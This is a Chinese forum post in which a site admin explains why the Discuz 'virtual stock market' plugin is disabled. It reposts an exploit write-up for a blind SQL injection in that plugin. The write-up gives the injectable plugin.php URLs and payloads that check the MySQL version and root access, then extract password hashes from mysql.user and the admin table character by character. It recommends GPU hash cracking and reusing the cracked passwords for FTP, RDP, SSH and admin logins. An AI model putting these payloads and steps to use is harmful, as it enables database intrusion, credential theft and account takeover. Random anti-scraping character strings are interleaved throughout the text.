TA的每日心情 | 奋斗 1 小时前 |
---|
签到天数: 2384 天 [LV.Master]伴坛终老
|
很多朋友在找虚拟股市,其实并非本站不想开放,插件出现了严重漏洞,而且这个插件是加密的,无法修改源码。
6 M @( I ^; r' E0 _3 C5 t. z , _7 Z" W. m# ]* U
我们一直在等在原作者站出来解决,假如作者一直出现的话,我们可能会放弃这个版本的虚拟股市,所有资金将换算成ec币,发放到各位的账号。8 T" t& F# ?1 \/ z& T A
/ f r c9 \0 k, J; B2 X漏洞如下:
) {1 e( @* j% t0 k3 H
4 M& ]. E2 g9 D& S9 C4 y# dDiscuz插件《虚拟股市》blind Injection Vul利用
8 R' C7 O z- d- ]0 Z
; A; d$ Z! W2 K& r$ [$ z6 r# ?+ t2 F+ n4 |
漏洞的发现来自于对某站的渗透,由于其discuz版本为7.0,所以我只能把眼光聚焦在了它所安装的第三方插件上。
3 D$ n4 ]3 e7 a& B: i$ i经过简单的测试,就发现了《虚拟股市》存在注射漏洞:
7 z3 G0 D/ j5 j$ @; E5 `http://www.target.com/plugin.php ... _One&stockid=91 # 91为可变参数 R) f' ~1 V* `
http://www.target.com/plugin.php ... ser_Show&uid=13 # 13为可变参数 & U" c4 A& b3 w4 x3 G( o7 F! Y( f
确认存在注射后开始尝试用order by猜解字段数,然后union select。但两个注射点都在字段数达到一定数目后,所执行的SQL语句发生了变化。原因是插件代码中有控制语句,使其跳转到另一行中执行。这种情况下,我们没办法获得字段数。 ( x3 o2 ], R. ~! o
思路有二:
3 W' C0 |; H0 [1.尝试盲注 ! x# l9 B# l6 ]; r
2.通过阅读《虚拟股市》这个插件的源码来确认其表结构和字段数 $ u) H4 o6 @' j' {% N3 n& ~5 H
但经过搜索发现,这个插件的作者在发布时用了zend对其源码进行了加密。而现有所有的解密工具都不是很理想(这也是无法搞清楚漏洞原理和细节的原因)。因此,只能采取盲注的手法(对我而言)。 h$ i, P) y% z# v" V
盲注费时间是没办法的,但我们会想,盲注能获得哪些信息呢?我的方法如下:
9 j* l7 M7 L# p5 N$ w& n" m#判断MYSQL版本,返回正常则为5,返回不正常则继续测试是否为4 ! h4 L, W. R) F% u; H2 L
/plugin.php?identifier=stock&module=stock&action=User_Show&uid=13 and substring(@@version,1,1)=5
. ^" [& j9 [& q0 u' ?8 V) J* |4 P#是否支持子查询(版本为4的情况下) , _& Q4 L: [6 N, F3 l( J
/plugin.php?identifier=stock&module=stock&action=User_Show&uid=13 and (select 1)=1 ) e! g+ G5 g. Y$ m) X+ C4 v
#当前用户是否为root 8 P# h) Y3 l$ m' l7 j+ j
/plugin.php?identifier=stock&module=stock&action=User_Show&uid=13 and (select 1 from mysql.user limit 0,1)=1 8 s" b& A/ i! M @& _; _
下面就根据情况而异了:
1 ]& w- v" l8 u8 V7 d1. 假如数据库用户为root,则可以直接取出root密码HASH,然后破解。如果对方服务器3306开放,或者装有phpmyadmin,那么下一步不用说相信大家也知道了。如果没有开放3306,也没有安装phpmyadmin,那么可以用破解出来的密码猜测一下ftp密码,3389密码,或者SSH密码,又或者后台管理员密码,等等。 & K5 Y9 T P2 f# }
2.假如数据库用户不为root,则直接取出discuz用户表cdb_members的管理员密码HASH,然后破解。
, I+ f' H7 w7 {8 M#######取数据 6 ~% Y) K! i& { @5 B
#mysql.user表第一行第一个字符的ASCII值是否大于80 3 n# E" c. H- a) B
and ascii(substring((SELECT concat(username,0x3a,password) from mysql.user limit 0,1),1,1))>80
* m% J' v/ K4 y0 m3 u2 u#第二个字符的ASCII值是否大于90
4 i+ W, n. w- D- J; c& |and ascii(substring((SELECT concat(username,0x3a,password) from mysql.user limit 0,1),2,1))>90 7 C' A4 ~, ?* e$ u+ N1 [
………… 5 t4 O$ y. I$ c, @
就这样逐个猜,MYSQL4的密码HASH为16位MD5加密,MYSQL5的密码HASH为41位(加*号)。 9 k! `5 r- [- u8 L" e" Y3 T- R# i
密码破解:
* P* A4 ?; D; ~7 g4 c" O1.MYSQL版本为4的话,这里有工具www.sqlhack.com,这个工具利用的是一个传说中的BUG,速度爆快。
" v m: w: ^4 w$ B% z+ G: F2.MYSQL 版本为5的话,我推荐用ighashgpu进行破解(貌似只用GPU,不用CPU),我AMD4核+HD 4650显卡,破解速度为60M/s,放到Inter Core i7 8核 + NVIDIA GeForce 9800GTX+平台上,速度是70M/s。而用passwordpro,速度才170w/s,这就是差距。7位纯字母我只用了7分多钟就破出来了。 |
|